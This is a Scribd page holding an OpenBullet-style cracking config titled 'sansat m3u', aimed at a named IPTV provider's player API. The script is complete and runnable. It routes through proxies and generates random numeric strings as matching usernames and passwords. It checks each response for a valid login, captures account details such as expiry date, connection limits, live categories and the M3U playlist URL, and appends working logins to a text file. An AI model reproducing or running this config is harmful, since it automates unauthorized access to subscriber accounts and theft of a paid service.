100% found this document useful (1 vote)
777 views2 pages

Sansat M3u.loli

The document contains settings for a bot including the name, suggested number of bots, author, and various other configuration settings. It also contains a script that requests data from a URL, parses the response to capture various fields like username, password, expiration date, and live categories, and writes the results to a text file.

Uploaded by

Alfredo Vides
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
100% found this document useful (1 vote)
777 views2 pages

Sansat M3u.loli

The document contains settings for a bot including the name, suggested number of bots, author, and various other configuration settings. It also contains a script that requests data from a URL, parses the response to capture various fields like username, password, expiration date, and live categories, and writes the results to a text file.

Uploaded by

Alfredo Vides
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 2

[SETTINGS]

{
"Name": "sansat m3u",
"SuggestedBots": 1,
"MaxCPM": 0,
"LastModified": "2023-03-07T10:01:10.0485522+01:00",
"AdditionalInfo": "",
"Author": "#Morad_AL_MAGHRIBI",
"Version": "1.1.3",
"IgnoreResponseErrors": false,
"MaxRedirects": 8,
"NeedsProxies": true,
"OnlySocks": false,
"OnlySsl": false,
"MaxProxyUses": 0,
"EncodeData": false,
"AllowedWordlist1": "UserPass",
"AllowedWordlist2": "MACs",
"DataRules": [],
"CustomInputs": [],
"ForceHeadless": false,
"AlwaysOpen": false,
"AlwaysQuit": false,
"DisableNotifications": false,
"CustomUserAgent": "",
"RandomUA": false,
"CustomCMDArgs": ""
}

[SCRIPT]
FUNCTION RandomString "020202?d?d?d?d?d?d?d?d" -> VAR "U"

REQUEST GET "http://sam.satiptv.net:88/player_api.php?username=<U>&password=<U>"

HEADER "Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/
apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
HEADER "Accept-Encoding: gzip, deflate"
HEADER "Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7"
HEADER "Cache-Control: max-age=0"
HEADER "Connection: keep-alive"
HEADER "Host: sam.satiptv.net:88"
HEADER "Upgrade-Insecure-Requests: 1"
HEADER "User-Agent: Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/109.0.0.0 Safari/537.36 OPR/95.0.0.0"

KEYCHECK
KEYCHAIN Failure OR
KEY "{\"user_info\":{\"auth\":0"
KEY "<RESPONSECODE>" Contains "200"
KEYCHAIN Success OR
KEY "\":\"\",\"auth\":1,\""
KEY "tatus\":\"Active"
KEYCHAIN Custom "CUSTOM" OR
KEY "Expired"

FUNCTION Replace "player_api" "get" "<ADDRESS>&type=m3u" -> CAP "M3U"

PARSE "<ADDRESS>" LR "http://" "/" -> CAP "" "http://" ""


PARSE "<SOURCE>" JSON "username" CreateEmpty=FALSE -> CAP "username"

PARSE "<SOURCE>" JSON "password" CreateEmpty=FALSE -> CAP "password"

PARSE "<SOURCE>" JSON "message" Recursive=TRUE CreateEmpty=FALSE -> CAP "message"

PARSE "<SOURCE>" JSON "status" Recursive=TRUE CreateEmpty=FALSE -> CAP "status"

PARSE "<SOURCE>" JSON "exp_date" CreateEmpty=FALSE -> CAP "exp_date"

FUNCTION UnixTimeToDate "<exp_date>" -> CAP "exp_date"

PARSE "<SOURCE>" JSON "is_trial" CreateEmpty=FALSE -> CAP "is_trial"

PARSE "<SOURCE>" JSON "active_cons" CreateEmpty=FALSE -> CAP "active_cons"

PARSE "<SOURCE>" JSON "created_at" CreateEmpty=FALSE -> CAP "created_at"

FUNCTION UnixTimeToDate "<created_at>" -> CAP "created_at"

PARSE "<SOURCE>" JSON "max_connections" CreateEmpty=FALSE -> CAP "max_connections"

PARSE "<SOURCE>" JSON "timezone" CreateEmpty=FALSE -> CAP "timezone"

PARSE "<SOURCE>" JSON "time_now" CreateEmpty=FALSE -> CAP "time_now"

REQUEST POST "http://sam.satiptv.net:88/player_api.php?"


CONTENT "username=<U>&password=<U>&action=get_live_categories"
CONTENTTYPE "application/x-www-form-urlencoded"
HEADER "Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/
apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
HEADER "Accept-Encoding: gzip, deflate"
HEADER "Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7"
HEADER "Connection: keep-alive"
HEADER "Host: sam.satiptv.net:88"
HEADER "Upgrade-Insecure-Requests: 1"
HEADER "User-Agent: Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/109.0.0.0 Safari/537.36 OPR/95.0.0."

PARSE "<SOURCE>" JSON "category_name" Recursive=TRUE CreateEmpty=FALSE -> CAP


"Live"

FUNCTION Constant "#Morad_AL_MAGHRIBI" -> CAP "CFG BY"

UTILITY File "sam.satiptv.net:88.txt" AppendLines "Login = <U>:<U>\\nExp Date =


<Exp Date>\\nMax Connections = <Max Connections>\\nUrl = <Url>\\nLive = <Live>\\
n========="

You might also like